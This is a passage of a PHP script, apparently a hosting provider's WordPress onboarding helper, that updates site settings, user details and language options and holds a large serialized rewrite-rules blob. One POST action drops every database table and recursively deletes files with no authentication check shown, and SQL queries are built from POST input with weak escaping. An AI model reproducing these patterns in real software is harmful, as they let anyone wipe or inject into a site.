$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } if($_POST['whc_action'] == 'deleteWPForImport'){ $rows = run_query('SHOW TABLES'); foreach($rows as $row){ run_query("DROP TABLE IF EXISTS ".$row['Tables_in_'.DB_NAME].";"); } function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir."/".$object)){ rrmdir($dir."/".$object); }else{ unlink($dir."/".$object); } } } rmdir($dir); } } rrmdir('../../'); die('success'); } $_POST = mysql_escape_string($_POST); if($_POST['whc_api_action'] == 'setOnboard'){ @unlink(__FILE__); //set username $q = "update ".TABLEPREFIX."users set user_login = 'admin".rand(100,999)."', user_nicename='".$_POST['firstname']." ".$_POST['lastname']."', user_email='".$_POST['email']."' where ID='1' limit 1" ; $q = "update ".TABLEPREFIX."users set user_nicename='".$_POST['firstname']." ".$_POST['lastname']."', user_email='".$_POST['email']."' where ID='1' limit 1" ; //run_query($q); //set firstname $q = "update ".TABLEPREFIX."usermeta set meta_value='".$_POST['firstname']."' where user_id='1' and meta_key = 'first_name' limit 1" ; run_query($q); //set lastname $q = "update ".TABLEPREFIX."usermeta set meta_value='".$_POST['lastname']."' where user_id='1' and meta_key = 'last_name' limit 1" ; run_query($q); //set blog slogan $q = "update ".TABLEPREFIX."options set option_value = '".$_POST['slogan']."' where option_name='blogdescription' limit 1" ; run_query($q); //set blog email $q = "update ".TABLEPREFIX."options set option_value = '".$_POST['email']."' where option_name='admin_email' or option_name='new_admin_email' limit 2" ; run_query($q); //set all email for contact form $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'info@whc.ca','".$_POST['email']."') " ; run_query($q); $q = "update ".TABLEPREFIX."postmeta set meta_value = replace(meta_value,'info@whc.ca','".$_POST['email']."') " ; run_query($q); $q = "update ".TABLEPREFIX."posts set post_content = replace(post_content,'info@whc.ca','".$_POST['email']."') " ; run_query($q); $q = "update ".TABLEPREFIX."posts set post_content_filtered = replace(post_content_filtered,'info@whc.ca','".$_POST['email']."') " ; run_query($q); //set blog title $q = "update ".TABLEPREFIX."options set option_value = '".$_POST['title']."' where option_name='blogname' limit 1" ; run_query($q); //set poly default lang $q = "update ".TABLEPREFIX."options set option_value = REPLACE(option_value, '\"default_lang\";s:2:\"en\"', '\"default_lang\";s:2:\"".($_POST['lang']=='english' ? 'en' : 'fr' )."\"') where option_name='polylang' limit 1" ; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = REPLACE(option_value, '\"default_lang\";s:2:\"fr\"', '\"default_lang\";s:2:\"".($_POST['lang']=='english' ? 'en' : 'fr' )."\"') where option_name='polylang' limit 1" ; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? 'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); if($_POST['is_multilingual'] == '1'){ //set wp language $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? 'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // delete all page except whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); if($_POST['lang']!='english'){ /* delete from wp_options where option_name in (select option_name from wp_options_whc1 ); insert into wp_options (select * from wp_options_whc1); $q = "delete from ".TABLEPREFIX."options where option_name in (select option_name from ".TABLEPREFIX."options_whc1 )"; run_query($q); $q = "update ".TABLEPREFIX."options_whc1 set option_value = replace(option_value, 'https://wphosting-staging.whc.ca', 'http://wp55731.wpdns.ca') "; run_query($q); $q = "insert into ".TABLEPREFIX."options (select * from ".TABLEPREFIX."options_whc1) "; run_query($q); */ $rewrite="a:172:{s:19:\"sitemap_index\.xml$\";s:19:\"index.php?sitemap=1\";s:31:\"([^/]+?)-sitemap([0-9]+)?\.xml$\";s:51:\"index.php?sitemap=$matches[1]&sitemap_n=$matches[2]\";s:24:\"([a-z]+)?-?sitemap\.xsl$\";s:25:\"index.php?xsl=$matches[1]\";s:11:\"^wp-json/?$\";s:22:\"index.php?rest_route=/\";s:14:\"^wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:21:\"^index.php/wp-json/?$\";s:22:\"index.php?rest_route=/\";s:24:\"^index.php/wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:52:\"(en)/category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:69:\"index.php?lang=$matches[1]&category_name=$matches[2]&feed=$matches[3]\";s:47:\"category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:47:\"(en)/category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:69:\"index.php?lang=$matches[1]&category_name=$matches[2]&feed=$matches[3]\";s:42:\"category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:28:\"(en)/category/(.+?)/embed/?$\";s:63:\"index.php?lang=$matches[1]&category_name=$matches[2]&embed=true\";s:23:\"category/(.+?)/embed/?$\";s:46:\"index.php?category_name=$matches[1]&embed=true\";s:40:\"(en)/category/(.+?)/page/?([0-9]{1,})/?$\";s:70:\"index.php?lang=$matches[1]&category_name=$matches[2]&paged=$matches[3]\";s:35:\"category/(.+?)/page/?([0-9]{1,})/?$\";s:53:\"index.php?category_name=$matches[1]&paged=$matches[2]\";s:22:\"(en)/category/(.+?)/?$\";s:52:\"index.php?lang=$matches[1]&category_name=$matches[2]\";s:17:\"category/(.+?)/?$\";s:35:\"index.php?category_name=$matches[1]\";s:49:\"(en)/tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&tag=$matches[2]&feed=$matches[3]\";s:44:\"tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:44:\"(en)/tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&tag=$matches[2]&feed=$matches[3]\";s:39:\"tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:25:\"(en)/tag/([^/]+)/embed/?$\";s:53:\"index.php?lang=$matches[1]&tag=$matches[2]&embed=true\";s:20:\"tag/([^/]+)/embed/?$\";s:36:\"index.php?tag=$matches[1]&embed=true\";s:37:\"(en)/tag/([^/]+)/page/?([0-9]{1,})/?$\";s:60:\"index.php?lang=$matches[1]&tag=$matches[2]&paged=$matches[3]\";s:32:\"tag/([^/]+)/page/?([0-9]{1,})/?$\";s:43:\"index.php?tag=$matches[1]&paged=$matches[2]\";s:19:\"(en)/tag/([^/]+)/?$\";s:42:\"index.php?lang=$matches[1]&tag=$matches[2]\";s:14:\"tag/([^/]+)/?$\";s:25:\"index.php?tag=$matches[1]\";s:50:\"(en)/type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&post_format=$matches[2]&feed=$matches[3]\";s:45:\"type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&post_format=$matches[1]&feed=$matches[2]\";s:45:\"(en)/type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&post_format=$matches[2]&feed=$matches[3]\";s:40:\"type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&post_format=$matches[1]&feed=$matches[2]\";s:26:\"(en)/type/([^/]+)/embed/?$\";s:61:\"index.php?lang=$matches[1]&post_format=$matches[2]&embed=true\";s:21:\"type/([^/]+)/embed/?$\";s:52:\"index.php?lang=fr&post_format=$matches[1]&embed=true\";s:38:\"(en)/type/([^/]+)/page/?([0-9]{1,})/?$\";s:68:\"index.php?lang=$matches[1]&post_format=$matches[2]&paged=$matches[3]\";s:33:\"type/([^/]+)/page/?([0-9]{1,})/?$\";s:59:\"index.php?lang=fr&post_format=$matches[1]&paged=$matches[2]\";s:20:\"(en)/type/([^/]+)/?$\";s:50:\"index.php?lang=$matches[1]&post_format=$matches[2]\";s:15:\"type/([^/]+)/?$\";s:41:\"index.php?lang=fr&post_format=$matches[1]\";s:12:\"robots\.txt$\";s:18:\"index.php?robots=1\";s:48:\".*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$\";s:18:\"index.php?feed=old\";s:20:\".*wp-app\.php(/.*)?$\";s:19:\"index.php?error=403\";s:18:\".*wp-register.php$\";s:23:\"index.php?register=true\";s:37:\"(en)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:44:\"index.php?lang=$matches[1]&&feed=$matches[2]\";s:32:\"feed/(feed|rdf|rss|rss2|atom)/?$\";s:35:\"index.php?lang=fr&&feed=$matches[1]\";s:32:\"(en)/(feed|rdf|rss|rss2|atom)/?$\";s:44:\"index.php?lang=$matches[1]&&feed=$matches[2]\";s:27:\"(feed|rdf|rss|rss2|atom)/?$\";s:35:\"index.php?lang=fr&&feed=$matches[1]\";s:13:\"(en)/embed/?$\";s:38:\"index.php?lang=$matches[1]&&embed=true\";s:8:\"embed/?$\";s:29:\"index.php?lang=fr&&embed=true\";s:25:\"(en)/page/?([0-9]{1,})/?$\";s:45:\"index.php?lang=$matches[1]&&paged=$matches[2]\";s:20:\"page/?([0-9]{1,})/?$\";s:36:\"index.php?lang=fr&&paged=$matches[1]\";s:32:\"(en)/comment-page-([0-9]{1,})/?$\";s:57:\"index.php?lang=$matches[1]&&page_id=298&cpage=$matches[2]\";s:27:\"comment-page-([0-9]{1,})/?$\";s:48:\"index.php?lang=fr&&page_id=298&cpage=$matches[1]\";s:7:\"(en)/?$\";s:26:\"index.php?lang=$matches[1]\";s:46:\"(en)/comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&&feed=$matches[2]&withcomments=1\";s:41:\"comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?lang=fr&&feed=$matches[1]&withcomments=1\";s:41:\"(en)/comments/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&&feed=$matches[2]&withcomments=1\";s:36:\"comments/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?lang=fr&&feed=$matches[1]&withcomments=1\";s:22:\"(en)/comments/embed/?$\";s:38:\"index.php?lang=$matches[1]&&embed=true\";s:17:\"comments/embed/?$\";s:29:\"index.php?lang=fr&&embed=true\";s:49:\"(en)/search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:57:\"index.php?lang=$matches[1]&s=$matches[2]&feed=$matches[3]\";s:44:\"search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:48:\"index.php?lang=fr&s=$matches[1]&feed=$matches[2]\";s:44:\"(en)/search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:57:\"index.php?lang=$matches[1]&s=$matches[2]&feed=$matches[3]\";s:39:\"search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:48:\"index.php?lang=fr&s=$matches[1]&feed=$matches[2]\";s:25:\"(en)/search/(.+)/embed/?$\";s:51:\"index.php?lang=$matches[1]&s=$matches[2]&embed=true\";s:20:\"search/(.+)/embed/?$\";s:42:\"index.php?lang=fr&s=$matches[1]&embed=true\";s:37:\"(en)/search/(.+)/page/?([0-9]{1,})/?$\";s:58:\"index.php?lang=$matches[1]&s=$matches[2]&paged=$matches[3]\";s:32:\"search/(.+)/page/?([0-9]{1,})/?$\";s:49:\"index.php?lang=fr&s=$matches[1]&paged=$matches[2]\";s:19:\"(en)/search/(.+)/?$\";s:40:\"index.php?lang=$matches[1]&s=$matches[2]\";s:14:\"search/(.+)/?$\";s:31:\"index.php?lang=fr&s=$matches[1]\";s:52:\"(en)/author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&author_name=$matches[2]&feed=$matches[3]\";s:47:\"author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&author_name=$matches[1]&feed=$matches[2]\";s:47:\"(en)/author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&author_name=$matches[2]&feed=$matches[3]\";s:42:\"author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&author_name=$matches[1]&feed=$matches[2]\";s:28:\"(en)/author/([^/]+)/embed/?$\";s:61:\"index.php?lang=$matches[1]&author_name=$matches[2]&embed=true\";s:23:\"author/([^/]+)/embed/?$\";s:52:\"index.php?lang=fr&author_name=$matches[1]&embed=true\";s:40:\"(en)/author/([^/]+)/page/?([0-9]{1,})/?$\";s:68:\"index.php?lang=$matches[1]&author_name=$matches[2]&paged=$matches[3]\";s:35:\"author/([^/]+)/page/?([0-9]{1,})/?$\";s:59:\"index.php?lang=fr&author_name=$matches[1]&paged=$matches[2]\";s:22:\"(en)/author/([^/]+)/?$\";s:50:\"index.php?lang=$matches[1]&author_name=$matches[2]\";s:17:\"author/([^/]+)/?$\";s:41:\"index.php?lang=fr&author_name=$matches[1]\";s:74:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&feed=$matches[5]\";s:69:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:88:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:69:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&feed=$matches[5]\";s:64:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:88:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:50:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:91:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&embed=true\";s:45:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:82:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&embed=true\";s:62:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:98:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&paged=$matches[5]\";s:57:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:89:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]\";s:44:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:80:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]\";s:39:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:71:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]\";s:61:\"(en)/([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:81:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&feed=$matches[4]\";s:56:\"([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:72:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:56:\"(en)/([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:81:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&feed=$matches[4]\";s:51:\"([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:72:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:37:\"(en)/([0-9]{4})/([0-9]{1,2})/embed/?$\";s:75:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&embed=true\";s:32:\"([0-9]{4})/([0-9]{1,2})/embed/?$\";s:66:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&embed=true\";s:49:\"(en)/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:82:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&paged=$matches[4]\";s:44:\"([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:73:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]\";s:31:\"(en)/([0-9]{4})/([0-9]{1,2})/?$\";s:64:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]\";s:26:\"([0-9]{4})/([0-9]{1,2})/?$\";s:55:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]\";s:48:\"(en)/([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&year=$matches[2]&feed=$matches[3]\";s:43:\"([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:51:\"index.php?lang=fr&year=$matches[1]&feed=$matches[2]\";s:43:\"(en)/([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&year=$matches[2]&feed=$matches[3]\";s:38:\"([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:51:\"index.php?lang=fr&year=$matches[1]&feed=$matches[2]\";s:24:\"(en)/([0-9]{4})/embed/?$\";s:54:\"index.php?lang=$matches[1]&year=$matches[2]&embed=true\";s:19:\"([0-9]{4})/embed/?$\";s:45:\"index.php?lang=fr&year=$matches[1]&embed=true\";s:36:\"(en)/([0-9]{4})/page/?([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&year=$matches[2]&paged=$matches[3]\";s:31:\"([0-9]{4})/page/?([0-9]{1,})/?$\";s:52:\"index.php?lang=fr&year=$matches[1]&paged=$matches[2]\";s:18:\"(en)/([0-9]{4})/?$\";s:43:\"index.php?lang=$matches[1]&year=$matches[2]\";s:13:\"([0-9]{4})/?$\";s:34:\"index.php?lang=fr&year=$matches[1]\";s:32:\"(en)/.?.+?/attachment/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:27:\".?.+?/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:42:\"(en)/.?.+?/attachment/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:37:\".?.+?/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:62:\"(en)/.?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:57:\".?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/.?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:52:\".?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/.?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:52:\".?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:38:\"(en)/.?.+?/attachment/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:33:\".?.+?/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:21:\"(en)/(.?.+?)/embed/?$\";s:58:\"index.php?lang=$matches[1]&pagename=$matches[2]&embed=true\";s:16:\"(.?.+?)/embed/?$\";s:41:\"index.php?pagename=$matches[1]&embed=true\";s:25:\"(en)/(.?.+?)/trackback/?$\";s:52:\"index.php?lang=$matches[1]&pagename=$matches[2]&tb=1\";s:20:\"(.?.+?)/trackback/?$\";s:35:\"index.php?pagename=$matches[1]&tb=1\";s:45:\"(en)/(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&feed=$matches[3]\";s:40:\"(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:40:\"(en)/(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&feed=$matches[3]\";s:35:\"(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:33:\"(en)/(.?.+?)/page/?([0-9]{1,})/?$\";s:65:\"index.php?lang=$matches[1]&pagename=$matches[2]&paged=$matches[3]\";s:28:\"(.?.+?)/page/?([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&paged=$matches[2]\";s:40:\"(en)/(.?.+?)/comment-page-([0-9]{1,})/?$\";s:65:\"index.php?lang=$matches[1]&pagename=$matches[2]&cpage=$matches[3]\";s:35:\"(.?.+?)/comment-page-([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&cpage=$matches[2]\";s:29:\"(en)/(.?.+?)(?:/([0-9]+))?/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&page=$matches[3]\";s:24:\"(.?.+?)(?:/([0-9]+))?/?$\";s:47:\"index.php?pagename=$matches[1]&page=$matches[2]\";s:32:\"(en)/[^/]+/attachment/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:27:\"[^/]+/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:42:\"(en)/[^/]+/attachment/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:37:\"[^/]+/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:62:\"(en)/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:57:\"[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:52:\"[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:52:\"[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:38:\"(en)/[^/]+/attachment/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:33:\"[^/]+/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:21:\"(en)/([^/]+)/embed/?$\";s:54:\"index.php?lang=$matches[1]&name=$matches[2]&embed=true\";s:16:\"([^/]+)/embed/?$\";s:37:\"index.php?name=$matches[1]&embed=true\";s:25:\"(en)/([^/]+)/trackback/?$\";s:48:\"index.php?lang=$matches[1]&name=$matches[2]&tb=1\";s:20:\"([^/]+)/trackback/?$\";s:31:\"index.php?name=$matches[1]&tb=1\";s:45:\"(en)/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&feed=$matches[3]\";s:40:\"([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:40:\"(en)/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&feed=$matches[3]\";s:35:\"([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:33:\"(en)/([^/]+)/page/?([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&name=$matches[2]&paged=$matches[3]\";s:28:\"([^/]+)/page/?([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&paged=$matches[2]\";s:40:\"(en)/([^/]+)/comment-page-([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&name=$matches[2]&cpage=$matches[3]\";s:35:\"([^/]+)/comment-page-([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&cpage=$matches[2]\";s:29:\"(en)/([^/]+)(?:/([0-9]+))?/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&page=$matches[3]\";s:24:\"([^/]+)(?:/([0-9]+))?/?$\";s:43:\"index.php?name=$matches[1]&page=$matches[2]\";s:21:\"(en)/[^/]+/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:16:\"[^/]+/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:31:\"(en)/[^/]+/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:26:\"[^/]+/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:51:\"(en)/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:46:\"[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:46:\"(en)/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:41:\"[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:46:\"(en)/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:41:\"[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:27:\"(en)/[^/]+/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:22:\"[^/]+/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";}"; $q = "update ".TABLEPREFIX."options set option_value = '".$rewrite."' where option_name='rewrite_rules' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = REPLACE(option_value, 'i:5;s:11:', 'i:18;s:11:') where option_name='theme_mods_oceanwp' limit 1" ; run_query($q); $v = 'a:2:{i:0;a:26:{s:7:"term_id";i:6;s:4:"name";s:7:"English";s:4:"slug";s:2:"en";s:10:"term_group";i:0;s:16:"term_taxonomy_id";i:6;s:8:"taxonomy";s:8:"language";s:11:"description";s:5:"en_CA";s:6:"parent";i:0;s:5:"count";i:9;s:10:"tl_term_id";i:7;s:19:"tl_term_taxonomy_id";i:7;s:8:"tl_count";i:1;s:6:"locale";R:9;s:6:"is_rtl";i:0;s:3:"w3c";s:5:"en-CA";s:8:"facebook";s:5:"en_US";s:8:"flag_url";s:64:"http://wp55731.wpdns.ca/wp-content/plugins/polylang/flags/ca.png";s:4:"flag";s:906:"English";s:8:"home_url";s:32:"http://wp55731.wpdns.ca/en/home/";s:10:"search_url";s:27:"http://wp55731.wpdns.ca/en/";s:4:"host";N;s:5:"mo_id";s:3:"203";s:13:"page_on_front";i:133;s:14:"page_for_posts";b:0;s:6:"filter";s:3:"raw";s:9:"flag_code";s:2:"ca";}i:1;a:26:{s:7:"term_id";i:9;s:4:"name";s:9:"Français";s:4:"slug";s:2:"fr";s:10:"term_group";i:1;s:16:"term_taxonomy_id";i:9;s:8:"taxonomy";s:8:"language";s:11:"description";s:5:"fr_CA";s:6:"parent";i:0;s:5:"count";i:7;s:10:"tl_term_id";i:10;s:19:"tl_term_taxonomy_id";i:10;s:8:"tl_count";i:1;s: